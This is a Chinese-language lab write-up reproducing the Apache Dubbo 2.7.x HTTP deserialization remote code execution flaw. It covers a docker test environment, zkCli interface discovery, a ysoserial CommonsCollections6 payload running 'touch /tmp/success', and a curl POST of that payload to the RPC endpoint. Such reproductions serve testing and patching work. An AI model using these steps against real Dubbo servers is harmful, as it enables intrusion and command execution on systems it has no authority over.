一、软件介绍
Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。
二、漏洞描述
Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。
三、影响范围
Apache Dubbo 2.7.4及以前版本
四、测试环境
Apache Dubbo 2.7.3
五、漏洞复现
环境搭建
通过docker-compose.yml文件拉取环境
启动镜像
docker-compose up -d
访问https://192.168.80.134:8080,默认访问状态为500
漏洞复现
首先通过zookeeper自带的zkCli建立一个交互式的shell来确定RPC接口的名称zookeeper下载地址
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后用执行bin目录下的zkCli.sh
./zkCli.sh -server your-ip:2181
执行ls命令查看RPC接口名称
通过ysoserial中的CommonsCollections6反序列化工具生成payload,ysoserial下载地址
java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 "touch /tmp/success" > payload.out
将生成的payload以post形式发送到目标主机的RPC接口上
curl -XPOST --data-binary @payload.out http://your-ip:8080/org.vulhub.api.CalcService
去目标主机查看命令是否执行
这里看到创建了success目录,命令成功执行